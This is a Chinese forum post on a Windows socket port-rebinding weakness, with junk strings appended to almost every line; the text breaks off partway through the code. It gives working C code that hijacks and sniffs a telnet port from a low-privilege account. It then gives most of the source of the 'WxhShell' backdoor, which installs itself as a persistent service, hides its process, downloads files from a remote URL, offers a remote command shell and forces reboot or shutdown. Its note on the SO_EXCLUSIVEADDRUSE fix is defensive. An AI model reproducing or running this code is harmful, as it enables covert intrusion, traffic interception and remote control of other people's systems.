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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: VO3pm6r5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ubMOD<  
%OR|^M  
  saddr.sin_family = AF_INET; $lIWd  
idc`p?XP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _Jz8{` "  
aeyNdMk -  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pD"vRbYF  
f8 /'%$N  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !9*c8bL D  
A*h{Lsx;  
  这意味着什么?意味着可以进行如下的攻击: pY)5bSA  
M`,~ mU  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -F&U  
cHA7Kg !  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Mk 0+D#  
8eIUsI.o  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +'@+x'/{^  
2'jOP" G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #qU-j/Qf  
Th[f9H%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 DF]9@{  
E "iUq  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SEwku}  
2Q7R6*<N:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <F7kh[L_x  
MvLs%GE%  
  #include t9 \x%=  
  #include "eWk#/  
  #include  @4d)R  
  #include    i!2TH~zl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W+wA_s2&D  
  int main() zQ?!f#f  
  { ulT8lw='  
  WORD wVersionRequested; WFR?fDtE  
  DWORD ret; ^VW PdH/Fe  
  WSADATA wsaData; $w)~O<_U  
  BOOL val; TlL^7f}  
  SOCKADDR_IN saddr; 'AGto'Yy;  
  SOCKADDR_IN scaddr; 1sE?YJP-  
  int err; 8*SDiZ  
  SOCKET s; qs\2Z@;  
  SOCKET sc; 9 Gy  
  int caddsize; _cTh#t ^  
  HANDLE mt; :Eh\NOc_O  
  DWORD tid;   DBLk!~IF  
  wVersionRequested = MAKEWORD( 2, 2 ); *,C(\!b !?  
  err = WSAStartup( wVersionRequested, &wsaData ); 7 J^rv9i4  
  if ( err != 0 ) { q>f<u&  
  printf("error!WSAStartup failed!\n"); (z7vl~D  
  return -1; rt3qdk5U  
  } pA.J@,>`}  
  saddr.sin_family = AF_INET; >4Y3]6N0.F  
   !IU.a90V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o56`  
T J^u"j-'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dF0,Y?  
  saddr.sin_port = htons(23); a)Q!'$"'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Xdi:1wW@p  
  { B!{d-gb  
  printf("error!socket failed!\n"); ~ * :F{  
  return -1; 7g=2Z[o  
  } k$ 5 s{q  
  val = TRUE; 'ckQg=zPR  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,y4I[[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZN"j%E{d  
  { sb:d>6  
  printf("error!setsockopt failed!\n"); xX3'bsN  
  return -1; YzosZ! L!<  
  } dpQG[vXe  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; { pu85'DV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J{[n?/A{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7e7 M@8+4  
=/<LSeLxH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T@}|zDC#  
  { 4%WzIzRb  
  ret=GetLastError(); _(J&aY\  
  printf("error!bind failed!\n"); ZZ QG?("S'  
  return -1; YDC mI@  
  } hLJM%on  
  listen(s,2); |r ue=QZ  
  while(1) {NpM.;  
  { _0+0#! J!  
  caddsize = sizeof(scaddr); 6s,uXn  
  //接受连接请求 >56>*BHD  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); x@mL $  
  if(sc!=INVALID_SOCKET) f)]%.>  
  { GdB.4s^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _'4A|-9  
  if(mt==NULL) NmK8<9`u  
  { 01!s"wjf  
  printf("Thread Creat Failed!\n"); V)Z70J <'  
  break; d]9U^iy  
  } Iff9'TE  
  } '65LKD  
  CloseHandle(mt); I%|>2}-_U  
  } ntNI]~z&  
  closesocket(s); R1&unm0  
  WSACleanup(); =U|N=/y#hJ  
  return 0; 1+b{}d  
  }   ' |-JWH  
  DWORD WINAPI ClientThread(LPVOID lpParam) Bq/:Nd[y  
  { 7+./zN  
  SOCKET ss = (SOCKET)lpParam; Vcd.mE(t%  
  SOCKET sc; 3+ >G#W~  
  unsigned char buf[4096]; hF2IW{=!  
  SOCKADDR_IN saddr; dEBcfya  
  long num; 2VW}9O  
  DWORD val; .CP& bJP%  
  DWORD ret; s  {^yj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +_-bJo2a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dr4Z5mw"E  
  saddr.sin_family = AF_INET; I ZQHu h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l & Dxg  
  saddr.sin_port = htons(23); t1E[uu,V8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6c0>gUQx-  
  { /0\ mx4u  
  printf("error!socket failed!\n"); @FdSFQ/9  
  return -1; #plY\0E@  
  } $mF_,|  
  val = 100; t 6v/sZ{F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]v+31vdf:O  
  { XMG]Wf^%\<  
  ret = GetLastError(); \uss Uv  
  return -1; )M2F4[vcb  
  } S/;bU :  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R_=6GZH$G  
  { zB yqD$  
  ret = GetLastError(); );-~j  
  return -1; m%?V7-9!k  
  } " R xP^l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0!v ->Dk  
  { 1;<R#>&,*  
  printf("error!socket connect failed!\n"); x@8a''  
  closesocket(sc); <nEi<iAY>U  
  closesocket(ss); G "P4-  
  return -1; f6$b s+oP  
  } q -8t'7  
  while(1) zbJT&@z  
  { iR"N13  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;c$J=h]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 G:g69=x y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O|_h_I-2  
  num = recv(ss,buf,4096,0); C]Q8:6b  
  if(num>0) 6'xsG?{JY  
  send(sc,buf,num,0); N&@}/wzZ  
  else if(num==0) gv5*!eI  
  break; Q_l'o3  
  num = recv(sc,buf,4096,0); $1ndKB8)`J  
  if(num>0) +S Jd@y@fR  
  send(ss,buf,num,0); h=-"SW  
  else if(num==0) 1;VHM'  
  break; a&vY!vx 3  
  } 4tY ss  
  closesocket(ss); W`^@)|9^)  
  closesocket(sc); E!S 78 z:  
  return 0 ; nS>8bub30  
  } s(W|f|R  
JU&+c6>  
](|\whI  
========================================================== ID/ F  
HV<Lf 6gE  
下边附上一个代码,,WXhSHELL k5]j.V2f  
nT2)E&U6%  
========================================================== _UuC,Pl3  
qx%}knB  
#include "stdafx.h" Hc`A3SMR  
Bj7gQ%>H4  
#include <stdio.h> 6-O_\Cq8  
#include <string.h> bJs9X/E  
#include <windows.h> @B}aN@!/  
#include <winsock2.h> 4[N^>qt =  
#include <winsvc.h> 43=,yz2Ef  
#include <urlmon.h> ,a#EW+" Z  
!>:?rSg*  
#pragma comment (lib, "Ws2_32.lib") 5ZBKRu  
#pragma comment (lib, "urlmon.lib") H/}]FmjN  
* RtgC/  
#define MAX_USER   100 // 最大客户端连接数 *?MGMhE  
#define BUF_SOCK   200 // sock buffer av~5l4YL  
#define KEY_BUFF   255 // 输入 buffer .ji_nZ4.+  
,i@X'<;y  
#define REBOOT     0   // 重启 +@r*}  
#define SHUTDOWN   1   // 关机 f5` g  
kwsp9 0)  
#define DEF_PORT   5000 // 监听端口 o=1X^,  
/&4U6a  
#define REG_LEN     16   // 注册表键长度 X]y)qV)a[c  
#define SVC_LEN     80   // NT服务名长度 'F3)9&M  
qgrg CJ  
// 从dll定义API vx4+QQY P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m4*@o?Ow  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G z)NwD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f7}*X|_Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Dl}$pN  
O+ICol  
// wxhshell配置信息 t%8d-+$  
struct WSCFG { c%qv9   
  int ws_port;         // 监听端口 C`q@X(_   
  char ws_passstr[REG_LEN]; // 口令 ^b %0 B  
  int ws_autoins;       // 安装标记, 1=yes 0=no /7 Cn(s5o  
  char ws_regname[REG_LEN]; // 注册表键名 jRatm.N  
  char ws_svcname[REG_LEN]; // 服务名 LW(6$hpPp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !kC* g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n93=8;&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9YBv|A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no TjG4`:*y#m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1UQHq@aM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G%Lt.?m[  
b6*!ACY  
}; t]e;;q=L.  
N\bocMc,X  
// default Wxhshell configuration h\'n**f_x  
struct WSCFG wscfg={DEF_PORT, W | o'&  
    "xuhuanlingzhe", N 8-oY$*  
    1, ,GgAsj: K  
    "Wxhshell", L31|\x]  
    "Wxhshell", 9HX =T%  
            "WxhShell Service", 0P]E6hWgg  
    "Wrsky Windows CmdShell Service", vI@%Fg+D  
    "Please Input Your Password: ", wiBVuj#  
  1, Ot`VR&}  
  "http://www.wrsky.com/wxhshell.exe", qcT'nZ:  
  "Wxhshell.exe" ,#8e_3Z$  
    }; n..g~ $k  
h5K$mA5  
// 消息定义模块 CoA6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8}(]]ayl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xL" |)A =  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I&YSQK:b  
char *msg_ws_ext="\n\rExit."; :GJ &_YHf  
char *msg_ws_end="\n\rQuit."; & j+oJasI  
char *msg_ws_boot="\n\rReboot..."; M8TSt\  
char *msg_ws_poff="\n\rShutdown..."; -ne Kuj  
char *msg_ws_down="\n\rSave to "; uAWM \?  
Zcc9e 03  
char *msg_ws_err="\n\rErr!"; `Ry]y"K  
char *msg_ws_ok="\n\rOK!"; p l&Muv  
]EpWSs!"g  
char ExeFile[MAX_PATH]; 2rZx Sg  
int nUser = 0; ,tg0L$qC  
HANDLE handles[MAX_USER]; {+@bZ}57  
int OsIsNt; ~ _!F01s  
L/z),#  
SERVICE_STATUS       serviceStatus; o-Ga3i 8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vz!s~cAt  
pn^ d]rou?  
// 函数声明 rX1QMR7?  
int Install(void); dYgXtl=#j  
int Uninstall(void); T|6a("RL  
int DownloadFile(char *sURL, SOCKET wsh); |u;v27  
int Boot(int flag); qQH]`#P  
void HideProc(void); @qHNE,K  
int GetOsVer(void); f@c`8L@g  
int Wxhshell(SOCKET wsl); ~b2wBs)r  
void TalkWithClient(void *cs); wLH] <k  
int CmdShell(SOCKET sock); nxl[d\ap+n  
int StartFromService(void); VZl6t;cn  
int StartWxhshell(LPSTR lpCmdLine); Qg<(u?7N  
.?hP7;hhI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1&U>,;]*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $-*!pRaVU  
BGu?<bET  
// 数据结构和表定义 a 7,C>%I  
SERVICE_TABLE_ENTRY DispatchTable[] = AoI/n4T^  
{ g"> {9YE  
{wscfg.ws_svcname, NTServiceMain}, # m *J&  
{NULL, NULL} :dqn h  
}; LoGVwRmoC  
#&7}-"Nd  
// 自我安装 2m2;t0  
int Install(void) =7o"u3hG  
{ ) v,:N.@Q  
  char svExeFile[MAX_PATH]; Ck|8qUz-  
  HKEY key; L;f!.FX#  
  strcpy(svExeFile,ExeFile); E\4 +_L_j  
,c)uX#1  
// 如果是win9x系统,修改注册表设为自启动 4%3M b-#Y]  
if(!OsIsNt) { >cCR2j,r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { go<W( ,O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ..R-Ms)k=  
  RegCloseKey(key); [bk?!0]aV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X.e7A/ClEo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5>\/[I/!  
  RegCloseKey(key); [ E ]E  
  return 0; w&KK3*=""  
    } n .RhxgC<  
  } w:<W.7y?0  
} ]V#M%0:Q82  
else { 9^p;UA  
4BKI-;v$  
// 如果是NT以上系统,安装为系统服务 )6J9J+%bi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6Avw-}.7>  
if (schSCManager!=0) E!P yL>){  
{ 7[}xP#Z  
  SC_HANDLE schService = CreateService KPj\-g'A  
  ( =HlQ36;*  
  schSCManager, X]dwX%:Z!j  
  wscfg.ws_svcname, !f+H,]D"  
  wscfg.ws_svcdisp, 9amaL~m  
  SERVICE_ALL_ACCESS, C-H@8p?T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `u&Zrdr,  
  SERVICE_AUTO_START, gjAIEI  
  SERVICE_ERROR_NORMAL, ixT:)|'i  
  svExeFile, [F6U+1n8e  
  NULL, SK#(#OQoh  
  NULL, *9{Z$IA9w  
  NULL, 7F{3*`/6  
  NULL, '5|h)Q5  
  NULL | ]X  
  ); O|M{-)  
  if (schService!=0) &Ob!4+v/GP  
  { $ . 9V&  
  CloseServiceHandle(schService); >\Ww;1yV  
  CloseServiceHandle(schSCManager); 9B7^lR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SV~~Q_U9  
  strcat(svExeFile,wscfg.ws_svcname); PJL=$gBgKk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Rw:*'1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HEM9E&rL  
  RegCloseKey(key); ssN6M./6  
  return 0; jm Fz51  
    } l|k`YC x  
  } z\%Ls   
  CloseServiceHandle(schSCManager); _c_[ C*T]  
} x}8yXE"  
} L|}lccpI  
\hEN4V[  
return 1; o_^?n[4  
} `I,,C,{C  
n*{sTT  
// 自我卸载 <t \H^H!  
int Uninstall(void)  N#a$t&  
{ VeQg -#&I  
  HKEY key; k+ty>bP=  
= < oBgD0k  
if(!OsIsNt) { RpD=]y!5_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T"DlT/\  
  RegDeleteValue(key,wscfg.ws_regname); >)M`IU[d^.  
  RegCloseKey(key); CyXR i}W.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |* ;B  
  RegDeleteValue(key,wscfg.ws_regname); |='z{WS  
  RegCloseKey(key); z-.+x3&o @  
  return 0; 6U R2IxbE  
  } 9vvx*rD  
} 5Ezw ~hn  
} Pf\D-1gi  
else { =t H:,SH  
5?F__Hx*2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bx4w)9+3  
if (schSCManager!=0) Tw;3_Lj  
{ ([m mPyp>L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Lja>8m  
  if (schService!=0) xY^ %&n  
  { 75/(??2  
  if(DeleteService(schService)!=0) { 2bkX}FWd;  
  CloseServiceHandle(schService); 'g m0)r  
  CloseServiceHandle(schSCManager); LH8 fBhw  
  return 0; 'DL`Ee\  
  } t? yz  
  CloseServiceHandle(schService); G#u6Am)T  
  } e3nYbWBy]  
  CloseServiceHandle(schSCManager); P>NF.B Cq  
} g9Xu@N;bL  
} K+3IWZ&+dG  
c_'OPJ  
return 1; w.YiO5|y  
} |m^k_d!d  
G2Qlt@.T  
// 从指定url下载文件 |n,<1QY  
int DownloadFile(char *sURL, SOCKET wsh) iA'lon  
{ y+c|vdW%  
  HRESULT hr; {_ i\f ]L  
char seps[]= "/"; K k-S}.E  
char *token; G <i@ 5\#  
char *file; K,:cJ  
char myURL[MAX_PATH]; ECrex>zr%  
char myFILE[MAX_PATH]; uP~@U"!  
Vt".%d/`7  
strcpy(myURL,sURL); +~mA}psr  
  token=strtok(myURL,seps); ~l]ve,W[  
  while(token!=NULL) {pnS  Q  
  { 3@M|m<_R$  
    file=token; { + Zd*)M[  
  token=strtok(NULL,seps); Pa V@aM~3  
  } `\#B18eU  
ZK@N5/H(  
GetCurrentDirectory(MAX_PATH,myFILE); j/f?"VEr  
strcat(myFILE, "\\"); [d1mL JAR  
strcat(myFILE, file); &h^9}>rVjV  
  send(wsh,myFILE,strlen(myFILE),0); 4'a=pnE$  
send(wsh,"...",3,0); p8h9Ng* &`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;; C?{  
  if(hr==S_OK) :+z4~% jA  
return 0; "AnC?c9?-^  
else uj R_"r|l  
return 1; `Nb[G)Xh  
XkXHGDEf1  
} SEGri#s  
@,cowar*  
// 系统电源模块 ,D]QxbwZ  
int Boot(int flag) DVB{2~7 4  
{ -ZRO@&tMD  
  HANDLE hToken; N343qU  
  TOKEN_PRIVILEGES tkp; Py@wJEo  
OZ |IA:,}  
  if(OsIsNt) {  a1t4Dd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P3)Nl^/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X\@C.H2ttY  
    tkp.PrivilegeCount = 1; YkniiB[/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w35J.zn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {f2S/$q  
if(flag==REBOOT) { w[S pw<Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^=RffrlZU  
  return 0; =u2l. CX  
} ]yx$(6_U  
else { WJkZ!O$"j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4W#vP  
  return 0; |Lf"6^@yh  
} rvbLyv;~  
  } @|63K)Xy  
  else { vY${;#~|  
if(flag==REBOOT) { [<g?WPCcC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pgI^4h  
  return 0; Lvq>v0|  
} +;N2p1ZBf  
else { LcSX *MC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }L+L"l&  
  return 0; aWWU4xe  
} {|&5_][  
} Li/O  
rV R1wsaL  
return 1; A: 5x|  
} .TND  a&  
)Ch2E|C?=8  
// win9x进程隐藏模块 4cabP}gBk  
void HideProc(void) g`vny)\7/  
{ aT)BR?OYSJ  
oX S1QT`B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kI 4MiK  
  if ( hKernel != NULL ) Bm.:^:&k  
  { <acUKfpY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xLNtIzx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E:JJ3X|  
    FreeLibrary(hKernel); %C~1^9uq  
  } 2 Ga7$q  
hb zC#@ q  
return; wKZ$iGMbz  
} `\T]ej}zvI  
\>:CvTzF  
// 获取操作系统版本 x(etb<!jd  
int GetOsVer(void) #{?PbBE}  
{ dJ2Hr;Lc  
  OSVERSIONINFO winfo; >/kc dWl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uxtWybv  
  GetVersionEx(&winfo); 7n8~K3~;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _=Z,E.EN  
  return 1; Xjo5v*Pu  
  else /'].lp  
  return 0; ^)(bM$(`  
} ~P8tUhffK  
T>}5:,N~  
// 客户端句柄模块 L+Xc-uv["p  
int Wxhshell(SOCKET wsl) 5][Ztx  
{ 5R@  
  SOCKET wsh; \6E|pbJ}x  
  struct sockaddr_in client; !sDh4jQ`  
  DWORD myID; ^?0DP >XA  
PP;}e  
  while(nUser<MAX_USER) +BVym~*^  
{ 8$85^Of  
  int nSize=sizeof(client); zVXC1u9B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ir`eL  
  if(wsh==INVALID_SOCKET) return 1; /<@SFF.  
*c~T@m~DR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !46RGU:I  
if(handles[nUser]==0) k9  "[H'  
  closesocket(wsh); WN{ 9  
else cik!GA  
  nUser++; "!Uqcay-  
  } x(hE3S#+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hyb3 ;yQ  
iVp,e  
  return 0; y.e^hRKb  
} o<<xY<  
1rv)&tKs  
// 关闭 socket ])|d"[ur=  
void CloseIt(SOCKET wsh) //T>G_1  
{ )PG6gZYW  
closesocket(wsh); rR9|6l 3  
nUser--; mef<=5t  
ExitThread(0); [5zx17'  
} T&%ux=Jt  
Kqp(%8mf  
// 客户端请求句柄 &Sl[ lXE  
void TalkWithClient(void *cs) y4t7`-,~  
{ jhXkSj  
Q<h-FW8z  
  SOCKET wsh=(SOCKET)cs; yaah*1ip[  
  char pwd[SVC_LEN]; 9K5pwC\$%  
  char cmd[KEY_BUFF]; ),UX4%K=  
char chr[1]; E~%jX }/  
int i,j; r\b3AKrIN  
mQCeo}7N5  
  while (nUser < MAX_USER) { WFO4gB*  
}4Tc  
if(wscfg.ws_passstr) { Av xfI"sp  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3HLNCt09  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (g[h 8 c  
  //ZeroMemory(pwd,KEY_BUFF); _A+s)]}  
      i=0; B^j  
  while(i<SVC_LEN) { Wc,~{  
w.H%R-Be  
  // 设置超时 $ et0s;GBv  
  fd_set FdRead; J)`-+}7$v  
  struct timeval TimeOut; f|h|q_<;  
  FD_ZERO(&FdRead); :n0vQ5a  
  FD_SET(wsh,&FdRead); h\5OrD@L  
  TimeOut.tv_sec=8; k5D%y3|9  
  TimeOut.tv_usec=0; ;'5>q&[qbP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (d(hR0HKE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AvdXEY(-  
7![,Q~Fy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M,/mE~  
  pwd=chr[0]; o*DN4oa)  
  if(chr[0]==0xd || chr[0]==0xa) { rG4';V^q  
  pwd=0; MS\>DW  
  break; K8>zF/# +  
  } BybW)+~  
  i++; 85n1eE  
    } D}dn.$  
iVB86XZ`  
  // 如果是非法用户,关闭 socket wF|fK4F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }._eIx"  
} A6:es_  
3pv4B:0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DE%KW:Hug  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~-EOjX(X'E  
K[ (NTp$E  
while(1) { <F}_ /q1  
5Yl <h)1  
  ZeroMemory(cmd,KEY_BUFF); RoU55mL  
#9X70|f  
      // 自动支持客户端 telnet标准   ^C_#<m_k  
  j=0; ppZDGpp  
  while(j<KEY_BUFF) { H *[_cqnv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D+>4AqG  
  cmd[j]=chr[0]; o$w_Es]Ma  
  if(chr[0]==0xa || chr[0]==0xd) { Z&|Kki*  
  cmd[j]=0; n^z]q;IN2.  
  break; :?/cPg'D  
  } 8-BflejX  
  j++; l-SAC3qhG  
    } &;+ -?k|  
a"FCZ.O1  
  // 下载文件 BReJ!|{m}  
  if(strstr(cmd,"http://")) { 4:|S` jm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h{AII  
  if(DownloadFile(cmd,wsh)) OY:,D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zn ''_fjh  
  else 5[A@ gw0u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ vJ,`?  
  } N'g>MBdI  
  else { c2&q*]?l;  
<)u`~$n2  
    switch(cmd[0]) { 5qr'.m  
  b]x4o#t  
  // 帮助 W0l,cOOZJ  
  case '?': { WN01h=1J_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @&1ZB6OCb:  
    break; "br,/Dk>MX  
  } pL{U `5S  
  // 安装 BaSZ71>9]r  
  case 'i': { H`0|tepz  
    if(Install()) }UWL-TkEjF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DV _2P$tT|  
    else v#.r.{t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7 T1=q{#M  
    break; -?mfE+kt  
    } Z/t+8;TMR,  
  // 卸载 Jh ]i]7r  
  case 'r': { #)C[5?{SNq  
    if(Uninstall()) gLy&esJl1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,6om\9.E@  
    else 3wC' r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :.$3vaZ@  
    break; }[ 4r4 1[  
    } ~g5[$r-u-u  
  // 显示 wxhshell 所在路径 6"~P/\jP  
  case 'p': { F;+|sMrq  
    char svExeFile[MAX_PATH]; @ Wd9I;hWv  
    strcpy(svExeFile,"\n\r"); ~} ,=OF-b  
      strcat(svExeFile,ExeFile); k~jP'aD  
        send(wsh,svExeFile,strlen(svExeFile),0); h"_MA_]~  
    break; dHv68*^\'  
    } =~=*&I4Dp  
  // 重启 >[_f3;P  
  case 'b': { d4?Mi2/jF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 22.8PO0  
    if(Boot(REBOOT)) Bs O+NP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wM2*#  
    else { K%^V?NP*{Z  
    closesocket(wsh); %O!v"Xh  
    ExitThread(0); cNM3I,o7  
    } 4A_[PM  
    break; A1.7 O  
    } zmSUw}-4 N  
